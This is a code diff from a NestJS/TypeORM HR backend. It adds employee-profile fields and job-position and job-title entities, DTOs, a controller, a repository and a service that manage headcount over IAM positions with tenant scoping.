@Column({ type: "uuid", name: "employee_id" })
|
||||
employeeId!: string;
|
||||
|
||||
/**
|
||||
* Human-facing payroll identifier. Globally unique, NOT per-organization.
|
||||
*
|
||||
* Per-org uniqueness would need `organization_id` stored here, and the
|
||||
* organization is IAM's fact, not HR's — it is read by joining
|
||||
* `iam.employees`. A global number also removes a real confusion: with
|
||||
* per-org numbering a cross-organization list shows two different people
|
||||
* both labelled EMP-00001.
|
||||
*/
|
||||
@Column({ type: "varchar", length: 64, name: "employee_number" })
|
||||
employeeNumber!: string;
|
||||
|
||||
// ── Personal ──────────────────────────────────────────────────────────────
|
||||
|
||||
@Column({ type: "date", name: "date_of_birth", nullable: true })
|
||||
dateOfBirth?: string | null;
|
||||
|
||||
/** Ethiopian-calendar rendering of `dateOfBirth`, stored so reports and IDs
|
||||
* do not have to re-derive it (and cannot disagree about the conversion). */
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 32,
|
||||
name: "amharic_date_of_birth",
|
||||
nullable: true,
|
||||
})
|
||||
amharicDateOfBirth?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 16, name: "gender", nullable: true })
|
||||
gender?: EGender | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 64,
|
||||
name: "nationality",
|
||||
nullable: true,
|
||||
default: "Ethiopian",
|
||||
})
|
||||
nationality?: string | null;
|
||||
|
||||
/** Fayda / national ID number. */
|
||||
@Column({ type: "varchar", length: 64, name: "national_id", nullable: true })
|
||||
nationalId?: string | null;
|
||||
|
||||
/** Taxpayer Identification Number — required on the ERCA income tax report. */
|
||||
@Column({ type: "varchar", length: 32, name: "tin_number", nullable: true })
|
||||
tinNumber?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "marital_status",
|
||||
nullable: true,
|
||||
})
|
||||
maritalStatus?: EMaritalStatus | null;
|
||||
|
||||
@Column({ type: "int", name: "children_count", default: 0 })
|
||||
childrenCount!: number;
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "work_phone", nullable: true })
|
||||
workPhone?: string | null;
|
||||
|
||||
/**
|
||||
* Only populated when the organization issues a work address distinct from
|
||||
* `iam.users.email`. Left null otherwise rather than copying the IAM value.
|
||||
*/
|
||||
@Column({ type: "varchar", length: 128, name: "work_email", nullable: true })
|
||||
workEmail?: string | null;
|
||||
|
||||
@Column({ type: "jsonb", name: "personal_address", nullable: true })
|
||||
personalAddress?: PersonalAddress | null;
|
||||
|
||||
@Column({ type: "jsonb", name: "emergency_contact_name", nullable: true })
|
||||
emergencyContactName?: { am: string; en: string } | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 32,
|
||||
name: "emergency_contact_phone",
|
||||
nullable: true,
|
||||
})
|
||||
emergencyContactPhone?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 64,
|
||||
name: "emergency_contact_relation",
|
||||
nullable: true,
|
||||
})
|
||||
emergencyContactRelation?: string | null;
|
||||
|
||||
// ── Employment ────────────────────────────────────────────────────────────
|
||||
|
||||
@Column({ type: "uuid", name: "job_title_id", nullable: true })
|
||||
jobTitleId?: string | null;
|
||||
|
||||
@ManyToOne(() => JobTitle, { nullable: true, onDelete: "SET NULL" })
|
||||
@JoinColumn({ name: "job_title_id" })
|
||||
jobTitle?: JobTitle | null;
|
||||
|
||||
/** Soft reference → `iam.locations.id`. IAM already models work locations. */
|
||||
@Column({ type: "uuid", name: "work_location_id", nullable: true })
|
||||
workLocationId?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "employment_type",
|
||||
default: EEmploymentType.PERMANENT,
|
||||
})
|
||||
employmentType!: EEmploymentType;
|
||||
|
||||
@Column({ type: "date", name: "hire_date" })
|
||||
hireDate!: string;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 32,
|
||||
name: "amharic_hire_date",
|
||||
nullable: true,
|
||||
})
|
||||
amharicHireDate?: string | null;
|
||||
|
||||
@Column({ type: "date", name: "contract_end_date", nullable: true })
|
||||
contractEndDate?: string | null;
|
||||
|
||||
@Column({ type: "date", name: "probation_end_date", nullable: true })
|
||||
probationEndDate?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "employment_state",
|
||||
default: EEmploymentState.PROBATION,
|
||||
})
|
||||
employmentState!: EEmploymentState;
|
||||
|
||||
@Column({ type: "date", name: "termination_date", nullable: true })
|
||||
terminationDate?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 128,
|
||||
name: "termination_reason",
|
||||
nullable: true,
|
||||
})
|
||||
terminationReason?: string | null;
|
||||
|
||||
/**
|
||||
* Manager OVERRIDE only. Leave it null and the approval chain resolves through
|
||||
* the IAM position hierarchy (`IamDirectoryService.findLineManagerEmployeeId`),
|
||||
* which is the structure HR must not duplicate. Set it only where the reporting
|
||||
* line genuinely differs from the org chart — a secondment, say.
|
||||
*
|
||||
* Soft reference → `iam.employees.id`, for symmetry with `employeeId`: the
|
||||
* override names a person, not an HR profile, so it stays valid even before
|
||||
* that manager has been given an HR profile of their own.
|
||||
*/
|
||||
@Column({ type: "uuid", name: "manager_employee_id", nullable: true })
|
||||
managerEmployeeId?: string | null;
|
||||
|
||||
// ── Payroll-critical ──────────────────────────────────────────────────────
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "salary_mode",
|
||||
default: ESalaryMode.BANK,
|
||||
})
|
||||
salaryMode!: ESalaryMode;
|
||||
|
||||
@Column({ type: "varchar", length: 128, name: "bank_name", nullable: true })
|
||||
bankName?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 64,
|
||||
name: "bank_account_number",
|
||||
nullable: true,
|
||||
})
|
||||
bankAccountNumber?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 128,
|
||||
name: "bank_account_name",
|
||||
nullable: true,
|
||||
})
|
||||
bankAccountName?: string | null;
|
||||
|
||||
/**
|
||||
* Whether the 7%/11% pension contributions apply (§3.4). Defaulted from
|
||||
* `employmentType` — contract, intern and part-time staff are excluded — and
|
||||
* overridable, because the exclusion is a policy default rather than a law
|
||||
* that holds for every contract type.
|
||||
*/
|
||||
@Column({ type: "boolean", name: "is_pension_eligible", default: true })
|
||||
isPensionEligible!: boolean;
|
||||
|
||||
// ── Media ─────────────────────────────────────────────────────────────────
|
||||
|
||||
/** Soft reference → the DMS document id. */
|
||||
@Column({ type: "uuid", name: "profile_photo_document_id", nullable: true })
|
||||
profilePhotoDocumentId?: string | null;
|
||||
|
||||
/**
|
||||
* True when the row was created by auto-provisioning rather than by someone
|
||||
* filling in the form. Its hire date and employment type are defaults, not
|
||||
* recorded facts — payroll and leave accrual both key off hire date, so the
|
||||
* UI must prompt for the real values before either is trusted.
|
||||
*/
|
||||
@Column({ type: "boolean", name: "is_provisional", default: false })
|
||||
isProvisional!: boolean;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
|
||||
@OneToMany(() => EmployeeDocument, (document) => document.employeeProfile)
|
||||
documents?: EmployeeDocument[];
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import { Type } from "class-transformer";
|
||||
import {
|
||||
IsBoolean,
|
||||
IsInt,
|
||||
IsOptional,
|
||||
IsUUID,
|
||||
Max,
|
||||
Min,
|
||||
} from "class-validator";
|
||||
|
||||
export class CreateJobPositionDto {
|
||||
@ApiProperty({
|
||||
format: "uuid",
|
||||
description:
|
||||
"iam.positions.id this extends. One headcount record per position.",
|
||||
})
|
||||
@IsUUID()
|
||||
positionId!: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "uuid" })
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
jobTitleId?: string;
|
||||
|
||||
@ApiPropertyOptional({ minimum: 0, maximum: 10000, default: 1 })
|
||||
@IsOptional()
|
||||
@Type(() => Number)
|
||||
@IsInt()
|
||||
@Min(0)
|
||||
@Max(10000)
|
||||
budgetedCount?: number;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: false,
|
||||
description: "Open for recruitment. Independent of whether it is vacant.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
isOpen?: boolean;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
import { OmitType, PartialType } from "@nestjs/swagger";
|
||||
|
||||
import { CreateJobPositionDto } from "./create-job-position.dto";
|
||||
|
||||
/**
|
||||
* `positionId` is omitted: re-pointing a headcount record at a different IAM
|
||||
* position would move a budget line silently. Delete and re-create instead.
|
||||
*/
|
||||
export class UpdateJobPositionDto extends PartialType(
|
||||
OmitType(CreateJobPositionDto, ["positionId"] as const),
|
||||
) {}
|
||||
@@ -0,0 +1,65 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import {
|
||||
Check,
|
||||
Column,
|
||||
Entity,
|
||||
JoinColumn,
|
||||
ManyToOne,
|
||||
PrimaryGeneratedColumn,
|
||||
Unique,
|
||||
} from "typeorm";
|
||||
|
||||
import { JobTitle } from "../../job-titles/entities/job-title.entity";
|
||||
|
||||
/**
|
||||
* The headcount / vacancy layer over `iam.positions`.
|
||||
*
|
||||
* Stores NOTHING IAM already holds — not the unit, not the organization. Both
|
||||
* come from `iam.positions` and are read by joining. A copy here would be a
|
||||
* second answer that goes stale the moment a position is moved.
|
||||
*
|
||||
* It EXTENDS a position, never replaces it: `positionId` is a soft reference to
|
||||
* the IAM slot, unique here so a position cannot acquire two competing headcount
|
||||
* records. IAM keeps owning who holds the position; HR adds what it is graded as,
|
||||
* how many bodies it is budgeted for, and whether it is open for recruitment
|
||||
* (which 3.5 reads when creating a job opening).
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "job_positions" })
|
||||
@Unique("uq_job_positions_position_id", ["positionId"])
|
||||
@Check("ck_job_positions_budgeted_count", `"budgeted_count" >= 0`)
|
||||
@Check("ck_job_positions_current_count", `"current_count" >= 0`)
|
||||
export class JobPosition extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
/** Soft reference → `iam.positions.id`. */
|
||||
@Column({ type: "uuid", name: "position_id" })
|
||||
positionId!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "job_title_id", nullable: true })
|
||||
jobTitleId?: string | null;
|
||||
|
||||
@ManyToOne(() => JobTitle, { nullable: true, onDelete: "SET NULL" })
|
||||
@JoinColumn({ name: "job_title_id" })
|
||||
jobTitle?: JobTitle | null;
|
||||
|
||||
@Column({ type: "int", name: "budgeted_count", default: 1 })
|
||||
budgetedCount!: number;
|
||||
|
||||
/**
|
||||
* Cache of the current holder count in IAM. Refreshed from
|
||||
* `IamDirectoryService.countCurrentPositionHolders` whenever the position is
|
||||
* read or written through HR — IAM stays the source of truth, this column just
|
||||
* makes "which posts are under-filled" answerable in one query.
|
||||
*/
|
||||
@Column({ type: "int", name: "current_count", default: 0 })
|
||||
currentCount!: number;
|
||||
|
||||
/** Open for recruitment. Independent of vacancy: a post can be under-filled
|
||||
* and still frozen, which is exactly what a hiring freeze is. */
|
||||
@Column({ type: "boolean", name: "is_open", default: false })
|
||||
isOpen!: boolean;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Delete,
|
||||
Get,
|
||||
HttpCode,
|
||||
HttpStatus,
|
||||
Param,
|
||||
ParseBoolPipe,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../common/hr-guards";
|
||||
import { actorFrom } from "../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../seed/hr-permissions.registry";
|
||||
import { PaginationQueryDto } from "../../common/pagination.dto";
|
||||
import { JobPositionsService } from "./job-positions.service";
|
||||
import { CreateJobPositionDto } from "./dto/create-job-position.dto";
|
||||
import { UpdateJobPositionDto } from "./dto/update-job-position.dto";
|
||||
|
||||
@ApiTags("job-positions")
|
||||
@ApiBearerAuth()
|
||||
@Controller("job-positions")
|
||||
@HrStaff([HR_PERMS.org.manageJobPosition, HR_PERMS.org.viewOrg])
|
||||
export class JobPositionsController {
|
||||
constructor(private readonly jobPositionsService: JobPositionsService) {}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.org.manageJobPosition)
|
||||
@ApiOperation({
|
||||
summary: "Add headcount/vacancy data to an existing IAM position",
|
||||
})
|
||||
create(@Body() dto: CreateJobPositionDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.jobPositionsService.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.org.viewOrg)
|
||||
@ApiOperation({ summary: "List job positions" })
|
||||
findAll(
|
||||
@Query() pagination: PaginationQueryDto,
|
||||
@Query("unitId") unitId: string | undefined,
|
||||
@Query("jobTitleId") jobTitleId: string | undefined,
|
||||
@Query("isOpen", new ParseBoolPipe({ optional: true }))
|
||||
isOpen: boolean | undefined,
|
||||
@Query("vacantOnly", new ParseBoolPipe({ optional: true }))
|
||||
vacantOnly: boolean | undefined,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.jobPositionsService.findAll(
|
||||
{ ...pagination, unitId, jobTitleId, isOpen, vacantOnly },
|
||||
actorFrom(user),
|
||||
);
|
||||
}
|
||||
|
||||
@Get("headcount-totals")
|
||||
@HrStaff(HR_PERMS.org.viewOrg)
|
||||
@ApiOperation({ summary: "Budgeted vs current headcount, and the gap" })
|
||||
headcountTotals(@CurrentUser() user: TCurrentUser) {
|
||||
return this.jobPositionsService.headcountTotals(actorFrom(user));
|
||||
}
|
||||
|
||||
@Get(":id")
|
||||
@HrStaff(HR_PERMS.org.viewOrg)
|
||||
@ApiOperation({
|
||||
summary: "One job position, with the holder count re-read from IAM",
|
||||
})
|
||||
findOne(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.jobPositionsService.findOne(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id")
|
||||
@HrStaff(HR_PERMS.org.manageJobPosition)
|
||||
@ApiOperation({ summary: "Update budget, grade or recruitment status" })
|
||||
update(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: UpdateJobPositionDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.jobPositionsService.update(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Delete(":id")
|
||||
@HrStaff(HR_PERMS.org.manageJobPosition)
|
||||
@HttpCode(HttpStatus.NO_CONTENT)
|
||||
@ApiOperation({
|
||||
summary: "Delete a headcount record",
|
||||
description: "Refused while anyone still holds the position in IAM.",
|
||||
})
|
||||
remove(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.jobPositionsService.remove(id, actorFrom(user));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
import { Module } from "@nestjs/common";
|
||||
import { TypeOrmModule } from "@nestjs/typeorm";
|
||||
|
||||
import { JobPosition } from "./entities/job-position.entity";
|
||||
import { JobPositionsRepository } from "./job-positions.repository";
|
||||
import { JobPositionsService } from "./job-positions.service";
|
||||
import { JobPositionsController } from "./job-positions.controller";
|
||||
import { JobTitlesModule } from "../job-titles/job-titles.module";
|
||||
|
||||
@Module({
|
||||
imports: [TypeOrmModule.forFeature([JobPosition]), JobTitlesModule],
|
||||
controllers: [JobPositionsController],
|
||||
providers: [JobPositionsRepository, JobPositionsService],
|
||||
// Recruitment (3.5) creates job openings against an open position.
|
||||
exports: [JobPositionsRepository, JobPositionsService],
|
||||
})
|
||||
export class JobPositionsModule {}
|
||||
@@ -0,0 +1,103 @@
|
||||
import { Injectable } from "@nestjs/common";
|
||||
import { InjectRepository } from "@nestjs/typeorm";
|
||||
import { BaseRepository } from "@edr/api-common";
|
||||
import { Repository } from "typeorm";
|
||||
|
||||
import { JobPosition } from "./entities/job-position.entity";
|
||||
|
||||
@Injectable()
|
||||
export class JobPositionsRepository extends BaseRepository<JobPosition> {
|
||||
constructor(
|
||||
@InjectRepository(JobPosition) repository: Repository<JobPosition>,
|
||||
) {
|
||||
super(repository);
|
||||
}
|
||||
|
||||
findByPositionId(positionId: string): Promise<JobPosition | null> {
|
||||
return this.repository.findOne({ where: { positionId } });
|
||||
}
|
||||
|
||||
async findPage(
|
||||
organizationId: string | null,
|
||||
filters: {
|
||||
unitId?: string;
|
||||
jobTitleId?: string;
|
||||
isOpen?: boolean;
|
||||
vacantOnly?: boolean;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
sortOrder?: "ASC" | "DESC";
|
||||
},
|
||||
): Promise<[JobPosition[], number]> {
|
||||
const page = filters.page ?? 1;
|
||||
const limit = filters.limit ?? 25;
|
||||
|
||||
const qb = this.repository
|
||||
.createQueryBuilder("position")
|
||||
.leftJoinAndSelect("position.jobTitle", "jobTitle")
|
||||
.where("1 = 1");
|
||||
|
||||
// `null` = every organization (super admin). `hr.job_positions` stores no
|
||||
// copy of the organization — it lives on `iam.positions`, joined here the
|
||||
// same way `headcountTotals` below already does it. (A direct
|
||||
// `position.organization_id` reference doesn't exist on this table and
|
||||
// 500s for any non-super-admin actor.)
|
||||
if (organizationId) {
|
||||
qb.andWhere(
|
||||
`EXISTS (SELECT 1 FROM iam.positions p
|
||||
WHERE p.id = position.position_id
|
||||
AND p.organization_id = :organizationId)`,
|
||||
{ organizationId },
|
||||
);
|
||||
}
|
||||
|
||||
if (filters.unitId) {
|
||||
qb.andWhere("position.unit_id = :unitId", { unitId: filters.unitId });
|
||||
}
|
||||
if (filters.jobTitleId) {
|
||||
qb.andWhere("position.job_title_id = :jobTitleId", {
|
||||
jobTitleId: filters.jobTitleId,
|
||||
});
|
||||
}
|
||||
if (filters.isOpen !== undefined) {
|
||||
qb.andWhere("position.is_open = :isOpen", { isOpen: filters.isOpen });
|
||||
}
|
||||
// NOTE on naming: `where`/`select` fragments are raw SQL, so they use the
|
||||
// COLUMN name (organization_id). `orderBy` is resolved through entity
|
||||
// metadata instead, so it needs the PROPERTY name (createdAt) — passing a
|
||||
// column there throws `Cannot read properties of undefined (reading
|
||||
// 'databaseName')` at query build time, not a SQL error.
|
||||
if (filters.vacantOnly) {
|
||||
qb.andWhere("position.current_count < position.budgeted_count");
|
||||
}
|
||||
|
||||
return qb
|
||||
.orderBy("position.createdAt", filters.sortOrder ?? "DESC")
|
||||
.skip((page - 1) * limit)
|
||||
.take(limit)
|
||||
.getManyAndCount();
|
||||
}
|
||||
|
||||
/** Budget vs actual headcount for the organization, in one query. */
|
||||
async headcountTotals(
|
||||
organizationId: string | null,
|
||||
): Promise<{ budgeted: number; current: number; vacant: number }> {
|
||||
const qb = this.repository
|
||||
.createQueryBuilder("position")
|
||||
.select("COALESCE(SUM(position.budgeted_count), 0)::text", "budgeted")
|
||||
.addSelect("COALESCE(SUM(position.current_count), 0)::text", "current");
|
||||
if (organizationId) {
|
||||
qb.where(
|
||||
`EXISTS (SELECT 1 FROM iam.positions p
|
||||
WHERE p.id = position.position_id
|
||||
AND p.organization_id = :organizationId)`,
|
||||
{ organizationId },
|
||||
);
|
||||
}
|
||||
const row = await qb.getRawOne<{ budgeted: string; current: string }>();
|
||||
|
||||
const budgeted = parseInt(row?.budgeted ?? "0", 10);
|
||||
const current = parseInt(row?.current ?? "0", 10);
|
||||
return { budgeted, current, vacant: Math.max(budgeted - current, 0) };
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
import {
|
||||
BadRequestException,
|
||||
ConflictException,
|
||||
ForbiddenException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
|
||||
import { JobPositionsRepository } from "./job-positions.repository";
|
||||
import { JobPosition } from "./entities/job-position.entity";
|
||||
import { CreateJobPositionDto } from "./dto/create-job-position.dto";
|
||||
import { UpdateJobPositionDto } from "./dto/update-job-position.dto";
|
||||
import { IamDirectoryService } from "../../iam-directory/iam-directory.service";
|
||||
import { JobTitlesRepository } from "../job-titles/job-titles.repository";
|
||||
import { ActorContext, orgScope } from "../employees/employees.service";
|
||||
import { Paginated, paginate } from "../../common/pagination.dto";
|
||||
|
||||
@Injectable()
|
||||
export class JobPositionsService {
|
||||
constructor(
|
||||
private readonly jobPositionsRepository: JobPositionsRepository,
|
||||
private readonly jobTitlesRepository: JobTitlesRepository,
|
||||
private readonly iamDirectory: IamDirectoryService,
|
||||
) {}
|
||||
|
||||
async create(
|
||||
dto: CreateJobPositionDto,
|
||||
actor: ActorContext,
|
||||
): Promise<JobPosition> {
|
||||
const position = await this.iamDirectory.requirePosition(dto.positionId);
|
||||
|
||||
// The IAM position decides which organization the record belongs to, and it
|
||||
// must be the caller's own unless they are a super admin. Taking the org
|
||||
// from the actor instead would file the record under the wrong tenant when
|
||||
// an admin creates across organizations.
|
||||
if (!actor.isSuperAdmin && position.organizationId !== actor.organizationId) {
|
||||
throw new ForbiddenException(
|
||||
`IAM position ${dto.positionId} belongs to another organization`,
|
||||
);
|
||||
}
|
||||
|
||||
const existing = await this.jobPositionsRepository.findByPositionId(
|
||||
dto.positionId,
|
||||
);
|
||||
if (existing) {
|
||||
throw new ConflictException(
|
||||
`IAM position ${dto.positionId} already has headcount record ${existing.id}`,
|
||||
);
|
||||
}
|
||||
|
||||
if (dto.jobTitleId) {
|
||||
await this.assertJobTitle(dto.jobTitleId, orgScope(actor));
|
||||
}
|
||||
|
||||
return this.jobPositionsRepository.create({
|
||||
...dto,
|
||||
// Seeded from IAM at creation so the record is correct before anyone opens
|
||||
// the list; kept fresh by `refreshCurrentCount` on every read of one.
|
||||
currentCount: await this.iamDirectory.countCurrentPositionHolders(
|
||||
dto.positionId,
|
||||
),
|
||||
createdBy: actor.userId,
|
||||
});
|
||||
}
|
||||
|
||||
async update(
|
||||
id: string,
|
||||
dto: UpdateJobPositionDto,
|
||||
actor: ActorContext,
|
||||
): Promise<JobPosition> {
|
||||
const position = await this.requirePosition(id, orgScope(actor));
|
||||
if (dto.jobTitleId) {
|
||||
await this.assertJobTitle(dto.jobTitleId, orgScope(actor));
|
||||
}
|
||||
return (await this.jobPositionsRepository.update(id, dto)) ?? position;
|
||||
}
|
||||
|
||||
async findAll(
|
||||
filters: {
|
||||
unitId?: string;
|
||||
jobTitleId?: string;
|
||||
isOpen?: boolean;
|
||||
vacantOnly?: boolean;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
sortOrder?: "ASC" | "DESC";
|
||||
},
|
||||
actor: ActorContext,
|
||||
): Promise<Paginated<JobPosition>> {
|
||||
const [items, total] = await this.jobPositionsRepository.findPage(
|
||||
orgScope(actor),
|
||||
filters,
|
||||
);
|
||||
return paginate(items, total, filters.page ?? 1, filters.limit ?? 25);
|
||||
}
|
||||
|
||||
/** One position, with its holder count re-read from IAM first. */
|
||||
async findOne(id: string, actor: ActorContext): Promise<JobPosition> {
|
||||
const position = await this.requirePosition(id, orgScope(actor));
|
||||
return this.refreshCurrentCount(position);
|
||||
}
|
||||
|
||||
async headcountTotals(actor: ActorContext) {
|
||||
return this.jobPositionsRepository.headcountTotals(orgScope(actor));
|
||||
}
|
||||
|
||||
async remove(id: string, actor: ActorContext): Promise<void> {
|
||||
const position = await this.requirePosition(id, orgScope(actor));
|
||||
const fresh = await this.refreshCurrentCount(position);
|
||||
if (fresh.currentCount > 0) {
|
||||
throw new BadRequestException(
|
||||
`${fresh.currentCount} employee(s) currently hold this position in IAM. Move them first.`,
|
||||
);
|
||||
}
|
||||
await this.jobPositionsRepository.softDelete(id);
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-read the holder count from IAM and persist it when it has moved.
|
||||
*
|
||||
* `current_count` is a cache, not a second source of truth — IAM owns who
|
||||
* holds a position, and writes happen there without HR ever being told. The
|
||||
* write is conditional so a read does not churn `updated_at` on every request.
|
||||
*/
|
||||
private async refreshCurrentCount(
|
||||
position: JobPosition,
|
||||
): Promise<JobPosition> {
|
||||
const actual = await this.iamDirectory.countCurrentPositionHolders(
|
||||
position.positionId,
|
||||
);
|
||||
if (actual === position.currentCount) return position;
|
||||
return (
|
||||
(await this.jobPositionsRepository.update(position.id, {
|
||||
currentCount: actual,
|
||||
})) ?? position
|
||||
);
|
||||
}
|
||||
|
||||
private async assertJobTitle(
|
||||
jobTitleId: string,
|
||||
organizationId: string | null,
|
||||
): Promise<void> {
|
||||
const title = await this.jobTitlesRepository.findById(jobTitleId);
|
||||
if (!title || (organizationId && title.organizationId !== organizationId)) {
|
||||
throw new BadRequestException(
|
||||
`Job title ${jobTitleId} does not exist in this organization`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/** `organizationId: null` = no scoping (super admin). */
|
||||
private async requirePosition(
|
||||
id: string,
|
||||
organizationId: string | null,
|
||||
): Promise<JobPosition> {
|
||||
const record = await this.jobPositionsRepository.findById(id);
|
||||
if (!record) throw new NotFoundException(`Job position ${id} not found`);
|
||||
|
||||
// Tenancy comes from the IAM position, not from a copy stored here.
|
||||
if (organizationId) {
|
||||
const iam = await this.iamDirectory.findPosition(record.positionId);
|
||||
if (iam?.organizationId !== organizationId) {
|
||||
throw new NotFoundException(`Job position ${id} not found`);
|
||||
}
|
||||
}
|
||||
return record;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import { Type } from "class-transformer";
|
||||
import {
|
||||
IsBoolean,
|
||||
IsInt,
|
||||
IsNumberString,
|
||||
IsOptional,
|
||||
IsString,
|
||||
Matches,
|
||||
Max,
|
||||
MaxLength,
|
||||
Min,
|
||||
ValidateNested,
|
||||
} from "class-validator";
|
||||
|
||||
import { LocalizedNameDto } from "../../employees/dto/create-employee-profile.dto";
|
||||
|
||||
export class CreateJobTitleDto {
|
||||
@ApiProperty({ type: LocalizedNameDto })
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedNameDto)
|
||||
name!: LocalizedNameDto;
|
||||
|
||||
@ApiProperty({
|
||||
maxLength: 32,
|
||||
description: "Unique within the organization. Upper-case letters, digits, dash.",
|
||||
})
|
||||
@IsString()
|
||||
@MaxLength(32)
|
||||
@Matches(/^[A-Z0-9-]+$/, {
|
||||
message: "code must contain only A-Z, 0-9 and -",
|
||||
})
|
||||
code!: string;
|
||||
|
||||
@ApiPropertyOptional({ minimum: 1, maximum: 30, default: 1 })
|
||||
@IsOptional()
|
||||
@Type(() => Number)
|
||||
@IsInt()
|
||||
@Min(1)
|
||||
@Max(30)
|
||||
gradeLevel?: number;
|
||||
|
||||
@ApiPropertyOptional({ description: "ETB, 2 decimal places" })
|
||||
@IsOptional()
|
||||
@IsNumberString({ no_symbols: false })
|
||||
salaryBandMin?: string;
|
||||
|
||||
@ApiPropertyOptional({ description: "ETB, 2 decimal places" })
|
||||
@IsOptional()
|
||||
@IsNumberString({ no_symbols: false })
|
||||
salaryBandMax?: string;
|
||||
|
||||
@ApiPropertyOptional({ type: LocalizedNameDto })
|
||||
@IsOptional()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedNameDto)
|
||||
description?: LocalizedNameDto;
|
||||
|
||||
@ApiPropertyOptional({ default: true })
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
isActive?: boolean;
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
import { PartialType } from "@nestjs/swagger";
|
||||
|
||||
import { CreateJobTitleDto } from "./create-job-title.dto";
|
||||
|
||||
export class UpdateJobTitleDto extends PartialType(CreateJobTitleDto) {}
|
||||
@@ -0,0 +1,67 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import {
|
||||
Check,
|
||||
Column,
|
||||
Entity,
|
||||
Index,
|
||||
PrimaryGeneratedColumn,
|
||||
Unique,
|
||||
} from "typeorm";
|
||||
|
||||
/**
|
||||
* The grade / salary-band catalogue. IAM has no equivalent: `iam.positions` is a
|
||||
* slot in the org chart ("Warehouse Supervisor, Dire Dawa"), whereas a job title
|
||||
* is the graded role that slot is an instance of ("Supervisor, Grade 7"). Salary
|
||||
* structures (3.4) attach to the title, not the slot.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "job_titles" })
|
||||
@Unique("uq_job_titles_org_code", ["organizationId", "code"])
|
||||
@Index("idx_job_titles_organization_id", ["organizationId"])
|
||||
@Check(
|
||||
"ck_job_titles_salary_band",
|
||||
`"salary_band_min" IS NULL OR "salary_band_max" IS NULL OR "salary_band_max" >= "salary_band_min"`,
|
||||
)
|
||||
export class JobTitle extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
